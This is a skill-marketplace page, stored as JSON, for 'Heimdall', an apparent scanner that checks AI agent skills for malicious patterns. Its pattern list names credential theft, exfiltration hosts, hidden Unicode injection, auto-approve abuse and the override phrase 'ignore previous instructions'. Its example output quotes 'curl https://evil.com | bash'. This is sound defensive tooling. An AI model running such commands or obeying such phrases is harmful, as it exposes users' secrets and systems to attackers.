[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6FPT6BPEW8QFEPDEVX61FF0":3,"skill-same:01M6FPT6BPEW8QFEPDEVX61FF0":65},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":6,"repositoryNo":11,"starsCount":12,"licenseSpdxId":13,"licenseFileUrl":6,"sourceHtmlUrl":14,"categories":15,"keywords":16,"publishedAt":17,"linkOnly":18,"markdownContent":19,"markdownBody":19,"frontMatter":20,"refName":21,"commitSha":22,"skillDirectory":23,"forksCount":24,"repositoryHtmlUrl":25,"repositoryHomepageUrl":6,"ownerHtmlUrl":26,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":27,"install":28,"resources":41},"01M6FPT6BPEW8QFEPDEVX61FF0","heimdall",null,"kbarbel640-del\u002Fskills","kbarbel640-del","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F255315490?v=4","01M6CJPPQGCCESXMG3K7BBGQ5J","01M6CJPPX2PB2BCZERFVM2C2B3",1,"MIT","https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fhenrino3\u002Fheimdall\u002FSKILL.md",[],[5],"2026-11-10 10:12:30",false,"# Heimdall - Security Scanner for AI Agent Skills\n\nScan OpenClaw skills for malicious patterns before installation. Context-aware scanning with AI-powered narrative analysis.\n\n## When to Use\n\nUse Heimdall when:\n- Installing a new skill from ClawHub or GitHub\n- Reviewing skills before adding to your workspace\n- Auditing existing installed skills\n- Someone shares a skill URL and you want to verify it's safe\n\n## Commands\n\n### Basic Scan\n```bash\n~\u002Fclawd\u002Fskills\u002Fheimdall\u002Fscripts\u002Fskill-scan.py \u002Fpath\u002Fto\u002Fskill\n```\n\n### AI-Powered Analysis (Recommended)\n```bash\n~\u002Fclawd\u002Fskills\u002Fheimdall\u002Fscripts\u002Fskill-scan.py --analyze \u002Fpath\u002Fto\u002Fskill\n```\nRequires `OPENROUTER_API_KEY` env var or `~\u002Fclawd\u002Fsecrets\u002Fopenrouter.key`\n\n### Scan from URL\n```bash\n# Clone to temp, scan, delete\ngit clone https:\u002F\u002Fgithub.com\u002Fuser\u002Fskill \u002Ftmp\u002Ftest-skill\n~\u002Fclawd\u002Fskills\u002Fheimdall\u002Fscripts\u002Fskill-scan.py --analyze \u002Ftmp\u002Ftest-skill\nrm -rf \u002Ftmp\u002Ftest-skill\n```\n\n### Scan All Installed Skills\n```bash\nfor skill in ~\u002Fclawd\u002Fskills\u002F*\u002F; do\n  echo \"=== $skill ===\"\n  ~\u002Fclawd\u002Fskills\u002Fheimdall\u002Fscripts\u002Fskill-scan.py \"$skill\"\ndone\n```\n\n## Options\n\n| Flag | Description |\n|------|-------------|\n| `--analyze` | AI-powered narrative analysis (uses Claude) |\n| `--strict` | Ignore context, flag everything |\n| `--json` | Output as JSON |\n| `-v, --verbose` | Show all findings |\n| `--show-suppressed` | Show context-suppressed findings |\n\n## What It Detects (100+ patterns)\n\n### ? Critical\n- **credential_access**: .env files, API keys, tokens, private keys\n- **network_exfil**: webhook.site, ngrok, requestbin\n- **shell_exec**: subprocess, eval, exec, pipe to bash\n- **remote_fetch**: curl\u002Fwget skill.md from internet\n- **heartbeat_injection**: HEARTBEAT.md modifications\n- **mcp_abuse**: no_human_approval, auto_approve\n- **unicode_injection**: Hidden U+E0001-U+E007F characters\n\n### ? High\n- **supply_chain**: External git repos, npm\u002Fpip installs\n- **telemetry**: OpenTelemetry, Signoz, Uptrace\n- **crypto_wallet**: BTC\u002FETH addresses, seed phrases\n- **impersonation**: \"ignore previous instructions\"\n- **privilege**: sudo -S, chmod 777\n\n### ⚠️ Medium\n- **prefill_exfil**: Google Forms data exfiltration\n- **persistence**: crontab, bashrc modifications\n\n## Example Output\n\n### Basic Scan\n```\n============================================================\n? SKILL SECURITY SCAN REPORT v4.0\n============================================================\n? Path: \u002Ftmp\u002Fsuspicious-skill\n? Files scanned: 6\n? Active issues: 14\n⚡ Max severity: CRITICAL\n? Action: ? CRITICAL - BLOCKED - Likely malicious\n============================================================\n\n? CRITICAL (3 issues):\n  [shell_exec]\n    • install.sh:12 - Pipe to bash\n      Match: curl https:\u002F\u002Fevil.com | bash\n```\n\n### AI Analysis (--analyze)\n```\n============================================================\n? HEIMDALL SECURITY ANALYSIS \n============================================================\n\n? Skill: suspicious-skill\n⚡ Verdict: ? HIGH RISK - Requires Significant Trust\n\n## Summary\nThis skill installs code from an external company that can \nself-modify and sends telemetry to third-party servers.\n\n## Key Risks\n\n### 1. Data Exfiltration\nOpenTelemetry sends execution traces to external servers.\nYOUR agent's behavior → THEIR servers. ?\n\n### 2. Supply Chain Attack Surface\nGit clones from external repos during install and self-evolution.\n\n## What You're Agreeing To\n1. Installing their code\n2. Letting it modify itself\n3. Sending telemetry to them\n\n## Recommendation\n? Don't install on any machine with real data\u002Fkeys.\n============================================================\n```\n\n## Context-Aware Scanning\n\nHeimdall understands context to reduce false positives (~85% reduction):\n\n| Context | Severity Adjustment |\n|---------|---------------------|\n| CODE | Full severity |\n| CONFIG | -1 level |\n| DOCS | -3 levels (patterns in README are examples) |\n| STRING | -3 levels (blocklist definitions) |\n\nUse `--strict` to disable context adjustment and flag everything.\n\n## Security Sources\n\nPatterns derived from:\n- [Simon Willison - Moltbook Security Analysis](https:\u002F\u002Fsimonwillison.net\u002F2026\u002FJan\u002F30\u002Fmoltbook\u002F)\n- [PromptArmor - MCP Tool Attacks](https:\u002F\u002Fpromptarmor.com)\n- [LLMSecurity.net - Auto-Approve Exploits](https:\u002F\u002Fllmsecurity.net)\n- [OWASP - Injection Attacks](https:\u002F\u002Fowasp.org\u002FTop10\u002F)\n\n## Installation Notes\n\nAfter installing from ClawHub, create an alias for convenience:\n```bash\necho 'alias skill-scan=\"~\u002Fclawd\u002Fskills\u002Fheimdall\u002Fscripts\u002Fskill-scan.py\"' >> ~\u002F.bashrc\nsource ~\u002F.bashrc\n```\n\nFor AI analysis, ensure you have an OpenRouter API key:\n```bash\n# Option 1: Environment variable\nexport OPENROUTER_API_KEY=\"sk-or-...\"\n\n# Option 2: Save to file\necho \"sk-or-...\" > ~\u002Fclawd\u002Fsecrets\u002Fopenrouter.key\n```\n\n## Credits\n\nBuilt by the Enterprise Crew ?\n- Ada ? (Brain + BD\u002FSales)\n- Spock ? (Research & Ops) \n- Scotty ? (Builder)\n\nGitHub: https:\u002F\u002Fgithub.com\u002Fhenrino3\u002Fheimdall\n",{},"main","e7e336ac628c3e3bd771aff1aaa469c93778f94a","skills\u002Fhenrino3\u002Fheimdall",0,"https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills","https:\u002F\u002Fgithub.com\u002Fkbarbel640-del","2026-08-23 22:39:37",{"source":7,"skillName":5,"commands":29,"prompt":39,"zipAvailable":40},[30,33,36],{"tool":31,"command":32},"npx","npx skills add kbarbel640-del\u002Fskills --skill heimdall",{"tool":34,"command":35},"bunx","bunx skills add kbarbel640-del\u002Fskills --skill heimdall",{"tool":37,"command":38},"pnpm","pnpm dlx skills add kbarbel640-del\u002Fskills --skill heimdall","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fhenrino3\u002Fheimdall\u002FSKILL.md",true,[42,48,52,58,61],{"path":43,"resourceType":44,"resourceTypeDesc":45,"sizeBytes":46,"sourceHtmlUrl":47},"_meta.json","REFERENCE","参考文档",465,"https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fhenrino3\u002Fheimdall\u002F_meta.json",{"path":49,"resourceType":44,"resourceTypeDesc":45,"sizeBytes":50,"sourceHtmlUrl":51},"README.md",5289,"https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fhenrino3\u002Fheimdall\u002FREADME.md",{"path":53,"resourceType":54,"resourceTypeDesc":55,"sizeBytes":56,"sourceHtmlUrl":57},"scripts\u002Fskill-scan.py","SCRIPT","脚本",29549,"https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fhenrino3\u002Fheimdall\u002Fscripts\u002Fskill-scan.py",{"path":59,"resourceType":54,"resourceTypeDesc":55,"sizeBytes":56,"sourceHtmlUrl":60},"skill-scan.py","https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fhenrino3\u002Fheimdall\u002Fskill-scan.py",{"path":62,"resourceType":44,"resourceTypeDesc":45,"sizeBytes":63,"sourceHtmlUrl":64},"skill.json",624,"https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fhenrino3\u002Fheimdall\u002Fskill.json",[66,97,126,147,153,173],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":6,"repositoryNo":11,"starsCount":12,"licenseSpdxId":13,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":77,"publishedAt":17},"01M6G8J55967D6281ACMKAKTEQ","crowd-prompting","A marketplace where AI agents improve prompts, system instructions, tool descriptions, and other text-based content with domain expertise from real-world operations — and earn tokens for valuable contributions.","https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fzzadrian\u002Fcrowd-prompting\u002FSKILL.md",[72],{"categoryNo":73,"categoryName":74,"taxonomyType":75,"taxonomyTypeDesc":76},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96],"crowd prompting","prompting","api","with","tokens","domain","world","prompts","operations","instructions","text","tool","system","improve","productivity","marketplace","https","content","ai agents",{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":6,"repositoryNo":11,"starsCount":12,"licenseSpdxId":13,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":108,"publishedAt":17},"01M6G8J0PKPAYVET6BWE8W4C26","dilemm-ai","Compete in DilemmAI, the prisoner's dilemma AI arena at dilemm.ai. Use when an OpenClaw agent wants to create an account, design and submit strategy prompts for their bot, enter matchmaking, analyze historical matches and leaderboards, and iterate on bot strategy. Requires headless browser automation (no API available yet).","https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fzyori\u002Fdilemm-ai\u002FSKILL.md",[103],{"categoryNo":104,"categoryName":105,"taxonomyType":106,"taxonomyTypeDesc":107},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[109,80,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,85,125],"dilemm ai","arena","analyze","browser","openclaw agent","create","automation","browser automation","bot","openclaw","design","strategy","headless","compete","submit","matchmaking","use",{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":6,"repositoryNo":11,"starsCount":12,"licenseSpdxId":13,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":135,"publishedAt":17},"01M6G8HWAF3K9SW7NP3Z83CPJ6","arxiv-paper-reviews","Interact with arXiv Crawler API to fetch papers, read reviews, and submit comments. Use when working with arXiv papers, fetching paper lists by date\u002Fcategory\u002Finterest, viewing paper details with comments, or submitting paper reviews via API at http:\u002F\u002F150.158.152.82:8000.","https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fzxrys\u002Fweak-accept\u002FSKILL.md",[132],{"categoryNo":133,"categoryName":134,"taxonomyType":106,"taxonomyTypeDesc":107},"01JBSEEDCAT000000000000021","资料检索与研究",[136,137,138,139,140,141,142,81,143,123,125,144,80,145,146],"arxiv paper reviews","reviews","arxiv","paper","crawler","papers","comments","fetch","read","http","via",{"skillNo":148,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":6,"repositoryNo":11,"starsCount":12,"licenseSpdxId":13,"licenseFileUrl":6,"sourceHtmlUrl":149,"categories":150,"keywords":152,"publishedAt":17},"01M6G8HQJ7N7WMY6YV7D7SSJ16","https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fzxrys\u002Farxiv-paper-reviews\u002FSKILL.md",[151],{"categoryNo":133,"categoryName":134,"taxonomyType":106,"taxonomyTypeDesc":107},[139,138,137,136,146,141,142,81,140,123,125,143,144,80,145],{"skillNo":154,"name":155,"nameZh":6,"description":156,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":6,"repositoryNo":11,"starsCount":12,"licenseSpdxId":13,"licenseFileUrl":6,"sourceHtmlUrl":157,"categories":158,"keywords":159,"publishedAt":17},"01M6G8HM95Y64JNVFC2HN4E2BG","git-summary","Get a quick summary of the current Git repository including status, recent commits, branches, and contributors.","https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fzweack\u002Fgit-summary\u002FSKILL.md",[],[160,161,162,163,164,165,166,167,168,169,170,171,172],"git","summary","git summary","commits","repository","win32","status","linux","contributors","true","quick","get","branches",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":6,"repositoryNo":11,"starsCount":12,"licenseSpdxId":13,"licenseFileUrl":6,"sourceHtmlUrl":177,"categories":178,"keywords":183,"publishedAt":17},"01M6G8HGEGF05CNEJCGVYFSC4R","agent-constitution","Interact with AgentConstitution governance contracts on Base Sepolia. Check compliance, read rules, log actions, query governance state.","https:\u002F\u002Fgithub.com\u002Fkbarbel640-del\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fztsalexey\u002Fagent-constitution\u002FSKILL.md",[179,180],{"categoryNo":104,"categoryName":105,"taxonomyType":106,"taxonomyTypeDesc":107},{"categoryNo":181,"categoryName":182,"taxonomyType":75,"taxonomyTypeDesc":76},"01JBSEEDCAT000000000000037","律师与法务",[184,185,186,187,81,188,189,21,190,144,191,192,193,194,195,94,196,197,198],"agent constitution","constitution","contracts","tree","query","base","log","check","Rules","projects","compliance","actions","state","governance","github"]